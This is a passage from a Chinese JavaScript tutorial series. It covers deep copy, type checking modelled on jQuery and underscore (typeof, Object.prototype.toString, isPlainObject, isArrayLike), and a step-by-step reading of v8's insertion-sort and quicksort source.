obj instanceof Array ? [] : {}; // 遍历obj,并且判断是obj的属性才拷贝 for (var key in obj) { if (obj.hasOwnProperty(key)) { newObj[key] = obj[key]; } } return newObj; } ``` ## 深拷贝的实现 那如何实现一个深拷贝呢?说起来也好简单,我们在拷贝的时候判断一下属性值的类型,如果是对象,我们递归调用深拷贝函数不就好了~ ```js var deepCopy = function(obj) { if (typeof obj !== 'object') return; var newObj = obj instanceof Array ? [] : {}; for (var key in obj) { if (obj.hasOwnProperty(key)) { newObj[key] = typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key]; } } return newObj; } ``` ## 性能问题 尽管使用深拷贝会完全的克隆一个新对象,不会产生副作用,但是深拷贝因为使用递归,性能会不如浅拷贝,在开发中,还是要根据实际情况进行选择。 ## 下期预告 难道到这里就结束了?是的。然而本篇实际上是一个铺垫,我们真正要看的是 jquery 的 extend 函数的实现,下一篇,我们会讲一讲如何从零实现一个 jquery 的 extend 函数。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之类型判断(上).md ================================================ # JavaScript专题之类型判断(上) ## 前言 类型判断在 web 开发中有非常广泛的应用,简单的有判断数字还是字符串,进阶一点的有判断数组还是对象,再进阶一点的有判断日期、正则、错误类型,再再进阶一点还有比如判断 plainObject、空对象、Window 对象等等。 以上都会讲,今天是上半场。 ## typeof 我们最最常用的莫过于 typeof,注意,尽管我们会看到诸如: ```js console.log(typeof('yayu')) // string ``` 的写法,但是 typeof 可是一个正宗的运算符,就跟加减乘除一样!这就能解释为什么下面这种写法也是可行的: ```js console.log(typeof 'yayu') // string ``` 引用《JavaScript权威指南》中对 typeof 的介绍: >typeof 是一元操作符,放在其单个操作数的前面,操作数可以是任意类型。返回值为表示操作数类型的一个字符串。 那我们都知道,在 ES6 前,JavaScript 共六种数据类型,分别是: Undefined、Null、Boolean、Number、String、Object 然而当我们使用 typeof 对这些数据类型的值进行操作的时候,返回的结果却不是一一对应,分别是: undefined、object、boolean、number、string、object 注意以上都是小写的字符串。Null 和 Object 类型都返回了 object 字符串。 尽管不能一一对应,但是 typeof 却能检测出函数类型: ```js function a() {} console.log(typeof a); // function ``` 所以 typeof 能检测出六种类型的值,但是,除此之外 Object 下还有很多细分的类型呐,如 Array、Function、Date、RegExp、Error 等。 如果用 typeof 去检测这些类型,举个例子: ```js var date = new Date(); var error = new Error(); console.log(typeof date); // object console.log(typeof error); // object ``` 返回的都是 object 呐,这可怎么区分~ 所以有没有更好的方法呢? ## Obejct.prototype.toString 是的,当然有!这就是 Object.prototype.toString! 那 Object.protototype.toString 究竟是一个什么样的方法呢? 为了更加细致的讲解这个函数,让我先献上 ES5 规范地址:[https://es5.github.io/#x15.2.4.2](https://es5.github.io/#x15.2.4.2)。 在第 15.2.4.2 节讲的就是 Object.prototype.toString(),为了不误导大家,我先奉上英文版: >When the toString method is called, the following steps are taken: >1. If the **this** value is **undefined**, return "**[object Undefined]**". >2. If the **this** value is **null**, return "**[object Null]**". >3. Let *O* be the result of calling ToObject passing the **this** value as the argument. >4. Let *class* be the value of the [[Class]] internal property of *O*. >5. Return the String value that is the result of concatenating the three Strings "**[object** ", *class*, and "**]**". 凡是规范上加粗或者斜体的,在这里我也加粗或者斜体了,就是要让大家感受原汁原味的规范! 如果没有看懂,就不妨看看我理解的: 当 toString 方法被调用的时候,下面的步骤会被执行: 1. 如果 this 值是 undefined,就返回 [object Undefined] 2. 如果 this 的值是 null,就返回 [object Null] 3. 让 O 成为 ToObject(this) 的结果 4. 让 class 成为 O 的内部属性 [[Class]] 的值 5. 最后返回由 "[object " 和 class 和 "]" 三个部分组成的字符串 通过规范,我们至少知道了调用 Object.prototype.toString 会返回一个由 "[object " 和 class 和 "]" 组成的字符串,而 class 是要判断的对象的内部属性。 让我们写个 demo: ```js console.log(Object.prototype.toString.call(undefined)) // [object Undefined] console.log(Object.prototype.toString.call(null)) // [object Null] var date = new Date(); console.log(Object.prototype.toString.call(date)) // [object Date] ``` 由此我们可以看到这个 class 值就是识别对象类型的关键! 正是因为这种特性,我们可以用 Object.prototype.toString 方法识别出更多类型! 那到底能识别多少种类型呢? 至少 12 种! 你咋知道的? 我数的! …… 让我们看个 demo: ```js // 以下是11种: var number = 1; // [object Number] var string = '123'; // [object String] var boolean = true; // [object Boolean] var und = undefined; // [object Undefined] var nul = null; // [object Null] var obj = {a: 1} // [object Object] var array = [1, 2, 3]; // [object Array] var date = new Date(); // [object Date] var error = new Error(); // [object Error] var reg = /a/g; // [object RegExp] var func = function a(){}; // [object Function] function checkType() { for (var i = 0; i < arguments.length; i++) { console.log(Object.prototype.toString.call(arguments[i])) } } checkType(number, string, boolean, und, nul, obj, array, date, error, reg, func) ``` 除了以上 11 种之外,还有: ```js console.log(Object.prototype.toString.call(Math)); // [object Math] console.log(Object.prototype.toString.call(JSON)); // [object JSON] ``` 除了以上 13 种之外,还有: ```js function a() { console.log(Object.prototype.toString.call(arguments)); // [object Arguments] } a(); ``` 所以我们可以识别至少 14 种类型,当然我们也可以算出来,[[class]] 属性至少有 12 个。 ## type API 既然有了 Object.prototype.toString 这个神器!那就让我们写个 type 函数帮助我们以后识别各种类型的值吧! 我的设想: 写一个 type 函数能检测各种类型的值,如果是基本类型,就使用 typeof,引用类型就使用 toString。此外鉴于 typeof 的结果是小写,我也希望所有的结果都是小写。 考虑到实际情况下并不会检测 Math 和 JSON,所以去掉这两个类型的检测。 我们来写一版代码: ```js // 第一版 var class2type = {}; // 生成class2type映射 "Boolean Number String Function Array Date RegExp Object Error Null Undefined".split(" ").map(function(item, index) { class2type["[object " + item + "]"] = item.toLowerCase(); }) function type(obj) { return typeof obj === "object" || typeof obj === "function" ? class2type[Object.prototype.toString.call(obj)] || "object" : typeof obj; } ``` 嗯,看起来很完美的样子~~ 但是注意,在 IE6 中,null 和 undefined 会被 Object.prototype.toString 识别成 [object Object]! 我去,竟然还有这个兼容性!有什么简单的方法可以解决吗?那我们再改写一版,绝对让你惊艳! ```js // 第二版 var class2type = {}; // 生成class2type映射 "Boolean Number String Function Array Date RegExp Object Error".split(" ").map(function(item, index) { class2type["[object " + item + "]"] = item.toLowerCase(); }) function type(obj) { // 一箭双雕 if (obj == null) { return obj + ""; } return typeof obj === "object" || typeof obj === "function" ? class2type[Object.prototype.toString.call(obj)] || "object" : typeof obj; } ``` ## isFunction 有了 type 函数后,我们可以对常用的判断直接封装,比如 isFunction: ```js function isFunction(obj) { return type(obj) === "function"; } ``` ## 数组 jQuery 判断数组类型,旧版本是通过判断 Array.isArray 方法是否存在,如果存在就使用该方法,不存在就使用 type 函数。 ```js var isArray = Array.isArray || function( obj ) { return type(obj) === "array"; } ``` 但是在 jQuery v3.0 中已经完全采用了 Array.isArray。 ## 结语 到此,类型判断的上篇就结束了,我们已经可以判断日期、正则、错误类型啦,但是还有更复杂的判断比如 plainObject、空对象、Window对象、类数组对象等,路漫漫其修远兮,吾将上下而求索。 哦, 对了,这个 type 函数抄的 jQuery,[点击查看 type 源码](https://github.com/jquery/jquery/blob/ac9e3016645078e1e42120822cfb2076151c8cbe/src/core.js#L269)。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之类型判断(下).md ================================================ # JavaScript专题之类型判断(下) ## 前言 在上篇[《JavaScript专题之类型判断(上)》](https://github.com/mqyqingfeng/Blog/issues/28)中,我们抄袭 jQuery 写了一个 type 函数,可以检测出常见的数据类型,然而在开发中还有更加复杂的判断,比如 plainObject、空对象、Window 对象等,这一篇就让我们接着抄袭 jQuery 去看一下这些类型的判断。 ## plainObject plainObject 来自于 jQuery,可以翻译成纯粹的对象,所谓"纯粹的对象",就是该对象是通过 "{}" 或 "new Object" 创建的,该对象含有零个或者多个键值对。 之所以要判断是不是 plainObject,是为了跟其他的 JavaScript对象如 null,数组,宿主对象(documents)等作区分,因为这些用 typeof 都会返回object。 jQuery提供了 isPlainObject 方法进行判断,先让我们看看使用的效果: ```js function Person(name) { this.name = name; } console.log($.isPlainObject({})) // true console.log($.isPlainObject(new Object)) // true console.log($.isPlainObject(Object.create(null))); // true console.log($.isPlainObject(Object.assign({a: 1}, {b: 2}))); // true console.log($.isPlainObject(new Person('yayu'))); // false console.log($.isPlainObject(Object.create({}))); // false ``` 由此我们可以看到,除了 {} 和 new Object 创建的之外,jQuery 认为一个没有原型的对象也是一个纯粹的对象。 实际上随着 jQuery 版本的提升,isPlainObject 的实现也在变化,我们今天讲的是 3.0 版本下的 isPlainObject,我们直接看源码: ```js // 上节中写 type 函数时,用来存放 toString 映射结果的对象 var class2type = {}; // 相当于 Object.prototype.toString var toString = class2type.toString; // 相当于 Object.prototype.hasOwnProperty var hasOwn = class2type.hasOwnProperty; function isPlainObject(obj) { var proto, Ctor; // 排除掉明显不是obj的以及一些宿主对象如Window if (!obj || toString.call(obj) !== "[object Object]") { return false; } /** * getPrototypeOf es5 方法,获取 obj 的原型 * 以 new Object 创建的对象为例的话 * obj.__proto__ === Object.prototype */ proto = Object.getPrototypeOf(obj); // 没有原型的对象是纯粹的,Object.create(null) 就在这里返回 true if (!proto) { return true; } /** * 以下判断通过 new Object 方式创建的对象 * 判断 proto 是否有 constructor 属性,如果有就让 Ctor 的值为 proto.constructor * 如果是 Object 函数创建的对象,Ctor 在这里就等于 Object 构造函数 */ Ctor = hasOwn.call(proto, "constructor") && proto.constructor; // 在这里判断 Ctor 构造函数是不是 Object 构造函数,用于区分自定义构造函数和 Object 构造函数 return typeof Ctor === "function" && hasOwn.toString.call(Ctor) === hasOwn.toString.call(Object); } ``` 注意:我们判断 Ctor 构造函数是不是 Object 构造函数,用的是 hasOwn.toString.call(Ctor),这个方法可不是 Object.prototype.toString,不信我们在函数里加上下面这两句话: ```js console.log(hasOwn.toString.call(Ctor)); // function Object() { [native code] } console.log(Object.prototype.toString.call(Ctor)); // [object Function] ``` 发现返回的值并不一样,这是因为 hasOwn.toString 调用的其实是 Function.prototype.toString,毕竟 hasOwnProperty 可是一个函数! 而且 Function 对象覆盖了从 Object 继承来的 Object.prototype.toString 方法。函数的 toString 方法会返回一个表示函数源代码的字符串。具体来说,包括 function关键字,形参列表,大括号,以及函数体中的内容。 ## EmptyObject jQuery提供了 isEmptyObject 方法来判断是否是空对象,代码简单,我们直接看源码: ```js function isEmptyObject( obj ) { var name; for ( name in obj ) { return false; } return true; } ``` 其实所谓的 isEmptyObject 就是判断是否有属性,for 循环一旦执行,就说明有属性,有属性就会返回 false。 但是根据这个源码我们可以看出isEmptyObject实际上判断的并不仅仅是空对象。 举个栗子: ```js console.log(isEmptyObject({})); // true console.log(isEmptyObject([])); // true console.log(isEmptyObject(null)); // true console.log(isEmptyObject(undefined)); // true console.log(isEmptyObject(1)); // true console.log(isEmptyObject('')); // true console.log(isEmptyObject(true)); // true ``` 以上都会返回 true。 但是既然 jQuery 是这样写,可能是因为考虑到实际开发中 isEmptyObject 用来判断 {} 和 {a: 1} 是足够的吧。如果真的是只判断 {},完全可以结合上篇写的 type 函数筛选掉不适合的情况。 ## Window对象 Window 对象作为客户端 JavaScript 的全局对象,它有一个 window 属性指向自身,这点在[《JavaScript深入之变量对象》](https://github.com/mqyqingfeng/Blog/issues/5)中讲到过。我们可以利用这个特性判断是否是 Window 对象。 ```js function isWindow( obj ) { return obj != null && obj === obj.window; } ``` ## isArrayLike isArrayLike,看名字可能会让我们觉得这是判断类数组对象的,其实不仅仅是这样,jQuery 实现的 isArrayLike,数组和类数组都会返回 true。 因为源码比较简单,我们直接看源码: ```js function isArrayLike(obj) { // obj 必须有 length属性 var length = !!obj && "length" in obj && obj.length; var typeRes = type(obj); // 排除掉函数和 Window 对象 if (typeRes === "function" || isWindow(obj)) { return false; } return typeRes === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj; } ``` 重点分析 return 这一行,使用了或语句,只要一个为 true,结果就返回 true。 所以如果 isArrayLike 返回true,至少要满足三个条件之一: 1. 是数组 2. 长度为 0 3. lengths 属性是大于 0 的数组,并且obj[length - 1]必须存在 第一个就不说了,看第二个,为什么长度为 0 就可以直接判断为 true 呢? 那我们写个对象: ```js var obj = {a: 1, b: 2, length: 0} ``` isArrayLike 函数就会返回 true,那这个合理吗? 回答合不合理之前,我们先看一个例子: ```js function a(){ console.log(isArrayLike(arguments)) } a(); ``` 如果我们去掉length === 0 这个判断,就会打印 false,然而我们都知道 arguments 是一个类数组对象,这里是应该返回 true 的。 所以是不是为了放过空的 arguments 时也放过了一些存在争议的对象呢? 第三个条件:length 是数字,并且 length > 0 且最后一个元素存在。 为什么仅仅要求最后一个元素存在呢? 让我们先想下数组是不是可以这样写: ```js var arr = [,,3] ``` 当我们写一个对应的类数组对象就是: ```js var arrLike = { 2: 3, length: 3 } ``` 也就是说当我们在数组中用逗号直接跳过的时候,我们认为该元素是不存在的,类数组对象中也就不用写这个元素,但是最后一个元素是一定要写的,要不然 length 的长度就不会是最后一个元素的 key 值加 1。比如数组可以这样写 ```js var arr = [1,,]; console.log(arr.length) // 2 ``` 但是类数组对象就只能写成: ```js var arrLike = { 0: 1, length: 1 } ``` 所以符合条件的类数组对象是一定存在最后一个元素的! 这就是满足 isArrayLike 的三个条件,其实除了 jQuery 之外,很多库都有对 isArrayLike 的实现,比如 underscore: ```js var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1; var isArrayLike = function(collection) { var length = getLength(collection); return typeof length == 'number' && length >= 0 && length <= MAX_ARRAY_INDEX; }; ``` ## isElement isElement 判断是不是 DOM 元素。 ```js isElement = function(obj) { return !!(obj && obj.nodeType === 1); }; ``` ## 结语 这一篇我们介绍了 jQuery 的 isPlainObject、isEmptyObject、isWindow、isArrayLike、以及 underscore 的 isElement 实现。我们可以看到,即使是 jQuery 这样优秀的库,一些方法的实现也并不是非常完美和严密的,但是最后为什么这么做,其实也是一种权衡,权衡所失与所得,正如玉伯在《从 JavaScript 数组去重谈性能优化》中讲到: **所有这些点,都必须脚踏实地在具体应用场景下去分析、去选择,要让场景说话。** ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之解读v8排序源码.md ================================================ # JavaScript专题之解读 v8 排序源码 ## 前言 v8 是 Chrome 的 JavaScript 引擎,其中关于数组的排序完全采用了 JavaScript 实现。 排序采用的算法跟数组的长度有关,当数组长度小于等于 10 时,采用插入排序,大于 10 的时候,采用快速排序。(当然了,这种说法并不严谨)。 我们先来看看插入排序和快速排序。 ## 插入排序 ### 原理 将第一个元素视为有序序列,遍历数组,将之后的元素依次插入这个构建的有序序列中。 ### 图示 ![插入排序](https://github.com/mqyqingfeng/Blog/raw/master/Images/sort/insertion.gif) ### 实现 ```js function insertionSort(arr) { for (var i = 1; i < arr.length; i++) { var element = arr[i]; for (var j = i - 1; j >= 0; j--) { var tmp = arr[j]; var order = tmp - element; if (order > 0) { arr[j + 1] = tmp; } else { break; } } arr[j + 1] = element; } return arr; } var arr = [6, 5, 4, 3, 2, 1]; console.log(insertionSort(arr)); ``` ### 时间复杂度 时间复杂度是指执行算法所需要的计算工作量,它考察当输入值大小趋近无穷时的情况,一般情况下,算法中基本操作重复执行的次数是问题规模 n 的某个函数。 最好情况:数组升序排列,时间复杂度为:O(n) 最坏情况:数组降序排列,时间复杂度为:O(n²) ### 稳定性 稳定性,是指相同的元素在排序后是否还保持相对的位置。 要注意的是对于不稳定的排序算法,只要举出一个实例,即可说明它的不稳定性;而对于稳定的排序算法,必须对算法进行分析从而得到稳定的特性。 比如 [3, 3, 1],排序后,还是 [3, 3, 1],但是其实是第二个 3 在 第一个 3 前,那这就是不稳定的排序算法。 插入排序是稳定的算法。 ### 优势 当数组是快要排序好的状态或者问题规模比较小的时候,插入排序效率更高。这也是为什么 v8 会在数组长度小于等于 10 的时候采用插入排序。 ## 快速排序 ### 原理 1. 选择一个元素作为"基准" 2. 小于"基准"的元素,都移到"基准"的左边;大于"基准"的元素,都移到"基准"的右边。 3. 对"基准"左边和右边的两个子集,不断重复第一步和第二步,直到所有子集只剩下一个元素为止。 ### 示例 示例和下面的实现方式来源于阮一峰老师的[《快速排序(Quicksort)的Javascript实现》](http://www.ruanyifeng.com/blog/2011/04/quicksort_in_javascript.html) 以数组 [85, 24, 63, 45, 17, 31, 96, 50] 为例: 第一步,选择中间的元素 45 作为"基准"。(基准值可以任意选择,但是选择中间的值比较容易理解。) ![quick 第一步](https://github.com/mqyqingfeng/Blog/raw/master/Images/sort/quick1.png) 第二步,按照顺序,将每个元素与"基准"进行比较,形成两个子集,一个"小于45",另一个"大于等于45"。 ![quick 第二步](https://github.com/mqyqingfeng/Blog/raw/master/Images/sort/quick2.png) 第三步,对两个子集不断重复第一步和第二步,直到所有子集只剩下一个元素为止。 ![quick 第三步](https://github.com/mqyqingfeng/Blog/raw/master/Images/sort/quick3.png) ### 实现 ```js var quickSort = function(arr) {   if (arr.length <= 1) { return arr; } // 取数组的中间元素作为基准   var pivotIndex = Math.floor(arr.length / 2);   var pivot = arr.splice(pivotIndex, 1)[0];   var left = [];   var right = [];   for (var i = 0; i < arr.length; i++){     if (arr[i] < pivot) {       left.push(arr[i]);     } else {       right.push(arr[i]);     }   }   return quickSort(left).concat([pivot], quickSort(right)); }; ``` 然而这种实现方式需要额外的空间用来储存左右子集,所以还有一种原地(in-place)排序的实现方式。 ### 图示 我们来看看原地排序的实现图示: ![快速排序](https://github.com/mqyqingfeng/Blog/raw/master/Images/sort/quicksort.gif) 为了让大家看明白快速排序的原理,我调慢了执行速度。 在这张示意图里,基准的取值规则是取最左边的元素,黄色代表当前的基准,绿色代表小于基准的元素,紫色代表大于基准的元素。 我们会发现,绿色的元素会紧挨在基准的右边,紫色的元素会被移到后面,然后交换基准和绿色的最后一个元素,此时,基准处于正确的位置,即前面的元素都小于基准值,后面的元素都大于基准值。然后再对前面的和后面的多个元素取基准,做排序。 ### in-place 实现 ```js function quickSort(arr) { // 交换元素 function swap(arr, a, b) { var temp = arr[a]; arr[a] = arr[b]; arr[b] = temp; } function partition(arr, left, right) { var pivot = arr[left]; var storeIndex = left; for (var i = left + 1; i <= right; i++) { if (arr[i] < pivot) { swap(arr, ++storeIndex, i); } } swap(arr, left, storeIndex); return storeIndex; } function sort(arr, left, right) { if (left < right) { var storeIndex = partition(arr, left, right); sort(arr, left, storeIndex - 1); sort(arr, storeIndex + 1, right); } } sort(arr, 0, arr.length - 1); return arr; } console.log(quickSort(6, 7, 3, 4, 1, 5, 9, 2, 8)) ``` ### 稳定性 快速排序是不稳定的排序。如果要证明一个排序是不稳定的,你只用举出一个实例就行。 所以我们举一个呗~ 就以数组 [1, 2, 3, 3, 4, 5] 为例,因为基准的选择不确定,假如选定了第三个元素(也就是第一个 3) 为基准,所有小于 3 的元素在前面,大于等于 3 的在后面,排序的结果没有问题。可是如果选择了第四个元素(也就是第二个 3 ),小于 3 的在基准前面,大于等于 3 的在基准后面,第一个 3 就会被移动到 第二个 3 后面,所以快速排序是不稳定的排序。 ### 时间复杂度 阮一峰老师的实现中,基准取的是中间元素,而原地排序中基准取最左边的元素。快速排序的关键点就在于基准的选择,选取不同的基准时,会有不同性能表现。 快速排序的时间复杂度最好为 O(nlogn),可是为什么是 nlogn 呢?来一个并不严谨的证明: 在最佳情况下,每一次都平分整个数组。假设数组有 n 个元素,其递归的深度就为 log2n + 1,时间复杂度为 O(n)[(log2n + 1)],因为时间复杂度考察当输入值大小趋近无穷时的情况,所以会忽略低阶项,时间复杂度为:o(nlog2n)。 如果一个程序的运行时间是对数级的,则随着 n 的增大程序会渐渐慢下来。如果底数是 10,lg1000 等于 3,如果 n 为 1000000,lgn 等于 6,仅为之前的两倍。如果底数为 2,log21000 的值约为 10,log21000000 的值约为 19,约为之前的两倍。我们可以发现任意底数的一个对数函数其实都相差一个常数倍而已。所以我们认为 O(logn)已经可以表达所有底数的对数了,所以时间复杂度最后为: O(nlogn)。 而在最差情况下,如果对一个已经排序好的数组,每次选择基准元素时总是选择第一个元素或者最后一个元素,那么每次都会有一个子集是空的,递归的层数将达到 n,最后导致算法的时间复杂度退化为 O(n²)。 这也充分说明了一个基准的选择是多么的重要,而 v8 为了提高性能,就对基准的选择做了很多优化。 ## v8 基准选择 v8 选择基准的原理是从头和尾之外再选择一个元素,然后三个值排序取中间值。 当数组长度大于 10 但是小于 1000 的时候,取中间位置的元素,实现代码为: ```js // 基准的下标 // >> 1 相当于除以 2 (忽略余数) third_index = from + ((to - from) >> 1); ``` 当数组长度大于 1000 的时候,每隔 200 ~ 215 个元素取一个值,然后将这些值进行排序,取中间值的下标,实现的代码为: ```js // 简单处理过 function GetThirdIndex(a, from, to) { var t_array = new Array(); // & 位运算符 var increment = 200 + ((to - from) & 15); var j = 0; from += 1; to -= 1; for (var i = from; i < to; i += increment) { t_array[j] = [i, a[i]]; j++; } // 对随机挑选的这些值进行排序 t_array.sort(function(a, b) { return comparefn(a[1], b[1]); }); // 取中间值的下标 var third_index = t_array[t_array.length >> 1][0]; return third_index; } ``` 也许你会好奇 `200 + ((to - from) & 15)` 是什么意思? `&` 表示是按位与,对整数操作数逐位执行布尔与操作。只有两个操作数中相对应的位都是 1,结果中的这一位才是 1。 以 `15 & 127` 为例: 15 二进制为: (0000 1111) 127 二进制为:(1111 1111) 按位与结果为:(0000 1111)= 15 所以 `15 & 127` 的结果为 `15`。 注意 15 的二进制为: `1111`,这就意味着任何和 15 按位与的结果都会小于或者等于 15,这才实现了每隔 200 ~ 215 个元素取一个值。 ## v8 源码 终于到了看源码的时刻!源码地址为:[https://github.com/v8/v8/blob/master/src/js/array.js#L758](https://github.com/v8/v8/blob/master/src/js/array.js#L758)。 ```js function InsertionSort(a, from, to) { for (var i = from + 1; i < to; i++) { var element = a[i]; for (var j = i - 1; j >= from; j--) { var tmp = a[j]; var order = comparefn(tmp, element); if (order > 0) { a[j + 1] = tmp; } else { break; } } a[j + 1] = element; } }; function QuickSort(a, from, to) { var third_index = 0; while (true) { // Insertion sort is faster for short arrays. if (to - from <= 10) { InsertionSort(a, from, to); return; } if (to - from > 1000) { third_index = GetThirdIndex(a, from, to); } else { third_index = from + ((to - from) >> 1); } // Find a pivot as the median of first, last and middle element. var v0 = a[from]; var v1 = a[to - 1]; var v2 = a[third_index]; var c01 = comparefn(v0, v1); if (c01 > 0) { // v1 < v0, so swap them. var tmp = v0; v0 = v1; v1 = tmp; } // v0 <= v1. var c02 = comparefn(v0, v2); if (c02 >= 0) { // v2 <= v0 <= v1. var tmp = v0; v0 = v2; v2 = v1; v1 = tmp; } else { // v0 <= v1 && v0 < v2 var c12 = comparefn(v1, v2); if (c12 > 0) { // v0 <= v2 < v1 var tmp = v1; v1 = v2; v2 = tmp; } } // v0 <= v1 <= v2 a[from] = v0; a[to - 1] = v2; var pivot = v1; var low_end = from + 1; // Upper bound of elements lower than pivot. var high_start = to - 1; // Lower bound of elements greater than pivot. a[third_index] = a[low_end]; a[low_end] = pivot; // From low_end to i are elements equal to pivot. // From i to high_start are elements that haven't been compared yet. partition: for (var i = low_end + 1; i < high_start; i++) { var element = a[i]; var order = comparefn(element, pivot); if (order < 0) { a[i] = a[low_end]; a[low_end] = element; low_end++; } else if (order > 0) { do { high_start--; if (high_start == i) break partition; var top_elem = a[high_start]; order = comparefn(top_elem, pivot); } while (order > 0); a[i] = a[high_start]; a[high_start] = element; if (order < 0) { element = a[i]; a[i] = a[low_end]; a[low_end] = element; low_end++; } } } if (to - high_start < low_end - from) { QuickSort(a, high_start, to); to = low_end; } else { QuickSort(a, from, low_end); from = high_start; } } } var arr = [10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0]; function comparefn(a, b) { return a - b } QuickSort(arr, 0, arr.length) console.log(arr) ``` 我们以数组 `[10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0]` 为例,分析执行的过程。 1.执行 QuickSort 函数 参数 from 值为 0,参数 to 的值 11。 2.10 < to - from < 1000 第三个基准元素的下标为 `(0 + 11 >> 1) = 5`,基准值 a[5] 为 5。 3.比较 a[0] a[10] a[5] 的值,然后根据比较结果修改数组,数组此时为 [0, 9, 8, 7, 6, 5, 4, 3, 2, 1, 10] 4.将基准值和数组的第(from + 1)个即数组的第二个元素互换,此时数组为 [0, 5, 8, 7, 6, 9, 4, 3, 2, 1, 10],此时在基准值 5 前面的元素肯定是小于 5 的,因为第三步已经做了一次比较。后面的元素是未排序的。 我们接下来要做的就是把后面的元素中小于 5 的全部移到 5 的前面。 5.然后我们进入 partition 循环,我们依然以这个数组为例,单独抽出来写个 demo 讲一讲 ```js // 假设代码执行到这里,为了方便演示,我们直接设置 low_end 等变量的值 // 可以直接复制到浏览器中查看数组变换效果 var a = [0, 5, 8, 7, 6, 9, 4, 3, 2, 1, 10] var low_end = 1; var high_start = 10; var pivot = 5; console.log('起始数组为', a) partition: for (var i = low_end + 1; i < high_start; i++) { var element = a[i]; console.log('循环当前的元素为:', a[i]) var order = element - pivot; if (order < 0) { a[i] = a[low_end]; a[low_end] = element; low_end++; console.log(a) } else if (order > 0) { do { high_start--; if (high_start == i) break partition; var top_elem = a[high_start]; order = top_elem - pivot; } while (order > 0); a[i] = a[high_start]; a[high_start] = element; console.log(a) if (order < 0) { element = a[i]; a[i] = a[low_end]; a[low_end] = element; low_end++; } console.log(a) } } console.log('最后的结果为', a) console.log(low_end) console.log(high_start) ``` 6.此时数组为 `[0, 5, 8, 7, 6, 9, 4, 3, 2, 1, 10]`,循环从第三个元素开始,a[i] 的值为 8,因为大于基准值 5,即 order > 0,开始执行 do while 循环,do while 循环的目的在于倒序查找元素,找到第一个小于基准值的元素,然后让这个元素跟 a[i] 的位置交换。 第一个小于基准值的元素为 1,然后 1 与 8 交换,数组变成 `[0, 5, 1, 7, 6, 9, 4, 3, 2, 8, 10]`。high_start 的值是为了记录倒序查找到哪里了。 7.此时 a[i] 的值变成了 1,然后让 1 跟 基准值 5 交换,数组变成了 `[0, 1, 5, 7, 6, 9, 4, 3, 2, 8, 10]`,low_end 的值加 1,low_end 的值是为了记录基准值的所在位置。 8.循环接着执行,遍历第四个元素 7,跟第 6、7 的步骤一致,数组先变成 `[0, 1, 5, 2, 6, 9, 4, 3, 7, 8, 10]`,再变成 `[0, 1, 2, 5, 6, 9, 4, 3, 7, 8, 10]` 9.遍历第五个元素 6,跟第 6、7 的步骤一致,数组先变成 `[0, 1, 2, 5, 3, 9, 4, 6, 7, 8, 10]`,再变成 `[0, 1, 2, 3, 5, 9, 4, 6, 7, 8, 10]` 10.遍历第六个元素 9,跟第 6、7 的步骤一致,数组先变成 `[0, 1, 2, 3, 5, 4, 9, 6, 7, 8, 10]`,再变成 `[0, 1, 2, 3, 4, 5, 9, 6, 7, 8, 10]` 11.在下一次遍历中,因为 i == high_start,意味着正序和倒序的查找终于找到一起了,后面的元素肯定都是大于基准值的,此时退出循环 12.遍历后的结果为 `[0, 1, 2, 3, 4, 5, 9, 6, 7, 8, 10]`,在基准值 5 前面的元素都小于 5,后面的元素都大于 5,然后我们分别对两个子集进行 QuickSort 13.此时 low_end 值为 5,high_start 值为 6,to 的值依然是 10,from 的值依然是 0,`to - high_start < low_end - from ` 的结果为 `true`,我们对 QuickSort(a, 6, 10),即对后面的元素进行排序,但是注意,在新的 QuickSort 中,因为 from - to 的值小于 10,所以这一次其实是采用了插入排序。所以准确的说,**当数组长度大于 10 的时候,v8 采用了快速排序和插入排序的混合排序方法。** 14.然后 `to = low_end` 即设置 to 为 5,因为 while(true) 的原因,会再执行一遍,to - from 的值为 5,执行 InsertionSort(a, 0, 5),即对基准值前面的元素执行一次插入排序。 15.因为在 to - from <= 10 的判断中,有 return 语句,所以 while 循环结束。 16.v8 在对数组进行了一次快速排序后,然后对两个子集分别进行了插入排序,最终修改数组为正确排序后的数组。 ## 比较 最后来张示意图感受下插入排序和快速排序: ![插入排序和快速排序](https://github.com/mqyqingfeng/Blog/raw/master/Images/sort/insertion-vs-quick.gif) 图片来自于 [https://www.toptal.com/developers/sorting-algorithms](https://www.toptal.com/developers/sorting-algorithms) ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 